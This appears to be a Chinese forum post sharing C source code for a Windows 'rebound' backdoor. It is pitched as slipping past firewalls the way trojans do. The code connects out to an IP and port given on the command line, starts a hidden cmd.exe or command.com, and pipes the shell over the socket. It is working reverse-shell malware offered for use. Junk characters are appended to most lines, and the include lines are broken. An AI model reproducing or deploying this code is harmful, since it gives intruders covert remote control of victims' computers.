这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #5kQn>R
CUT D]:\
/* ============================== zxtx~XO
Rebound port in Windows NT 2;G^>BP<
By wind,2006/7 \+E{8&TH'
===============================*/ bIP{DxKS
#include *r)/.rK_
#include 8kw`=wSH>
KDW%*%!
#pragma comment(lib,"wsock32.lib") tm~V+t!mj
DD\:glo
void OutputShell(); I_J;/!l=
SOCKET sClient; 0hXI1@8]`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mu2r#I
oQ= Q}
void main(int argc,char **argv) ,V3P.ni]
{ %0}qMYS
WSADATA stWsaData; 1Fn+nDnO6
int nRet; NaSg K
SOCKADDR_IN stSaiClient,stSaiServer; f0fN1
'H2TwSbIXI
if(argc != 3) iIq='xwa9
{ mHo}, |
printf("Useage:\n\rRebound DestIP DestPort\n"); @kUCc1LT
return; u=feR0|8
} M-u:8dPu
b w!;ZRK
WSAStartup(MAKEWORD(2,2),&stWsaData); [rv"tz=
_*1/4^
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w{Wz^=';
xR2E? 0T
stSaiClient.sin_family = AF_INET; etj8M
y6=
stSaiClient.sin_port = htons(0); ;BqYhi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "jzU`
!CROc}
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7=t4;8|j;
{ aEVBU
printf("Bind Socket Failed!\n"); |jV>
return; M"2Tuwz
} ~k?7XF I
L,| 60*
stSaiServer.sin_family = AF_INET; u-3A6Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }s=D,_}m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Jz
s.)
Q0'xn
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '<~l%q
{ s<[%76Y!
printf("Connect Error!"); (,`ypD +3q
return; 4mJ4)
} ~`c?&YixU
OutputShell(); +~\1Zgw
} Ln0rm9FV-
Y~vI@$<~(
void OutputShell() 8[U1{s:J
{ 3>%rm%ffE
char szBuff[1024]; d0~F|j\#
SECURITY_ATTRIBUTES stSecurityAttributes; `3^*K/K\
OSVERSIONINFO stOsversionInfo; u?Jw) `
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n1`D:XrE
STARTUPINFO stStartupInfo; W~E%Eq3
char *szShell; VS<E?JnbFV
PROCESS_INFORMATION stProcessInformation; [s$vY~_
unsigned long lBytesRead; q'77BRD3
O^48c$Apv
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x):cirwkl
~;k-/Z"
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Io *`hA]
stSecurityAttributes.lpSecurityDescriptor = 0; zE5%l`@|o
stSecurityAttributes.bInheritHandle = TRUE; 0&2(1
C
Fq3
N"/jn_>+j
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~YKe:K+&z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bsy\L|wd
Lt0JUUa0
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pb1/HhRR^n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TaeN?jc5
stStartupInfo.wShowWindow = SW_HIDE; "Q6oPDX(
stStartupInfo.hStdInput = hReadPipe; MZ
o\1tU-i
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; | ?3\xw
Mfe/(tlI
GetVersionEx(&stOsversionInfo); %KK6}d#
nIJ2*QJ
switch(stOsversionInfo.dwPlatformId) bB@1tp0+
{ :}}5TJ wG
case 1: `P<}MeJ\l
szShell = "command.com"; sL|*0,#K
break; 7N,E%$QL
default: B)g7MG
szShell = "cmd.exe"; T;qP"KWZ
break; /)Bk
r/
} DZ -5A
S/)P&V%
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |oPCmsO3R{
J3gJSRT@P
send(sClient,szMsg,77,0); K>X#,lE-
while(1) )WavG1
{ 13wO6tS
k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [ZU6z?Pf
if(lBytesRead) __M(dN(^
{ +<7~yZ[Z8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u )PB@
send(sClient,szBuff,lBytesRead,0); Gs;wx_k^
} m`gH5vQa
else e/JbRbZX
{ b?eIFI&w^l
lBytesRead=recv(sClient,szBuff,1024,0); \,)('tUE
if(lBytesRead<=0) break; L,c@Z@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r18euB%
} P_6oMR
} 42E]&=Cet
lJ;7sgQ#
return; rpH ,c[D
}